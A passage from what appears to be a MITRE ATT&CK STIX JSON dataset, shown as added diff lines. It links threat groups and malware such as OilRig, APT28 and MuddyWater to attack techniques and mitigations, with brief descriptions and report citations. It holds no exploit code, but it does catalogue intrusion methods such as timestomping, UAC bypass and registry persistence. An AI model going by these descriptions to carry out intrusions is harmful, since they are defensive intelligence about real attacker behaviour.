"[OilRig](https://attack.mitre.org/groups/G0049) has deleted files associated with their payload after execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--51f1d23c-1ccd-4cc4-918c-39e9a66e510b", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.732Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.027Z", + "id": "relationship--cf699238-7091-4d79-9741-d792152f37c1", + "source_ref": "course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445", + "modified": "2019-07-24T18:09:33.160Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "The [Helminth](https://attack.mitre.org/software/S0170) config file is encrypted with RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--284d622d-8b28-4569-97a7-936edced1b18", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has performed timestomping on victim files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.038Z", + "id": "relationship--1036833a-1d4c-4d9e-b716-1e52606ab684", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.029Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) uses port 8000 and 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--aa698440-b114-4ab4-b66d-e5583071f3e9", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "source_name": "US-CERT BADCALL", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) can switch to a new C2 channel if the current one is broken.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--101867a2-149c-4088-a90f-7af4b86e5013", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.817Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[CozyCar](https://attack.mitre.org/software/S0046)'s main method of communicating with its C2 servers is using HTTP or HTTPS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--22301618-a676-4d94-975a-2a56e5a7f919", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used [RGDoor](https://attack.mitre.org/software/S0258) via Web shell to establish redundant access. The group has also used harvested credentials to gain access to Internet-accessible resources such as Outlook Web Access, which could be used for redundant access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d329d311-422b-4144-9212-aa7da4dc273a", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.727Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.029Z", + "id": "relationship--678be242-66fd-40b8-bbf1-24c3dda77895", + "source_ref": "course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8", + "modified": "2019-07-24T19:17:59.682Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.065Z", + "id": "relationship--0ec4a49c-0adc-41fb-afc2-e99f1e7c5200", + "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "modified": "2019-03-22T20:14:29.751Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.020Z", + "id": "relationship--c57efd0b-817e-45c2-9f11-e8e7ac11b44c", + "source_ref": "course-of-action--da987565-27b6-4b31-bbcd-74b909847116", + "modified": "2019-07-25T11:15:18.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ab6dbf38-dfed-4bfa-9d7d-bbe6864f82d3", + "source_ref": "course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885", + "modified": "2019-07-24T19:49:43.858Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[BlackOasis](https://attack.mitre.org/groups/G0063)'s first stage shellcode contains a NOP sled with alternative instructions that was likely designed to bypass antivirus tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4ad9aa86-f489-4f0f-926f-f381221c3705", + "source_ref": "intrusion-set--da49b9f1-ca99-443f-9728-0a074db66850", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "source_name": "Securelist BlackOasis Oct 2017", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.055Z", + "id": "relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a", + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "modified": "2019-03-25T14:27:23.889Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--395468bb-f42a-4e60-8f2f-d998c9d85675", + "source_ref": "course-of-action--3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef", + "modified": "2019-07-24T14:20:57.749Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[APT32](https://attack.mitre.org/groups/G0050) collected the victim's username and executed the whoami command on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--40032198-f003-4171-92a0-faf038f62a0b", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.723Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) malware xxmm contains a UAC bypass tool for privilege escalation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--4c6aea43-27ba-4e6a-8907-e5db364a145b", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.075Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7fd6c479-00ae-478d-a29b-fc40619eea97", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.361Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[APT28](https://attack.mitre.org/groups/G0007) sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c263ca38-f85d-42ab-b56d-8f6121c3aed6", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.826Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) injects its DLL component into svchost.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1a7d1db3-9383-4171-8938-382e9b0375c6", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.570Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) uses a customized version of PsExec.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--7e46e7c8-e48a-4860-bbcd-224a2d12284a", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.856Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[ChChes](https://attack.mitre.org/software/S0144) can alter the victim's proxy configuration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2ade8c03-2395-4175-9a22-8541836f27cd", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer transfers collected files to a hardcoded C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.080Z", + "id": "relationship--d361058d-a11b-470d-bed8-44bfd8e50393", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "modified": "2019-03-25T12:57:18.603Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has added Registry Run key KCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemTextEncoding to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--55d44c4e-c864-4e6f-ac33-62f13cd08f0e", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.374Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "source_name": "Talos MuddyWater May 2019", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--12547d20-24ca-4145-98b3-dc0849f78ef1", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "modified": "2019-04-22T19:23:13.514Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has distributed targeted emails containing Word documents with embedded malicious macros.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9c1ec4da-96d9-4173-b944-77c341a19572", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.564Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.025Z", + "id": "relationship--1d0bbeb7-5477-4321-81cd-ef66607d7972", + "source_ref": "course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6", + "modified": "2019-07-25T11:33:10.166Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has used the Windows command shell to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.035Z", + "id": "relationship--dd4c02ea-b54a-4753-beb5-3248d89a7e04", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.193Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "The [APT1](https://attack.mitre.org/groups/G0006) group is known to have used RDP during operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.035Z", + "id": "relationship--fc2ffb01-2c4e-429d-b4fd-e0d20678504a", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.163Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye PLA", + "description": "FireEye Labs. (2014, May 20). The PLA and the 8:00am-5:00pm Work Day: FireEye Confirms DOJ\u2019s Findings on APT1 Intrusion Activity. Retrieved November 4, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/05/the-pla-and-the-800am-500pm-work-day-fireeye-confirms-dojs-findings-on-apt1-intrusion-activity.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3964d326-01f2-4142-8f41-408f576b53b4", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.476Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cef6dedd-1872-4627-bfb0-69e9eeabf508", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.319Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) encrypted the collected files' path with AES and then encoded them with base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--03b18e87-f5f2-4d12-b5b3-2e1ba131b091", + "source_ref": 